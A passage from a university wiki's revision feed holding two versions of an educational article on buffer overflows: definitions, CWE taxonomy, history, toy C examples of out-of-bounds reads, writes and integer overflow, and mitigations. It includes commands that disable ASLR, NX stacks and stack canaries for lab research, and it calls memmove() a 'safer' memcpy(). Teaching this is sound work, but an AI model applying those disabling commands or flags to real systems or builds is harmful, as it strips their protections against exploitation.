When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write (maybe weg) ===&lt;br /&gt;
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16976</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16976"/>
		<updated>2024-12-11T12:28:58Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Types of Buffer Overflow Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, &#039;&#039;&#039;a function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
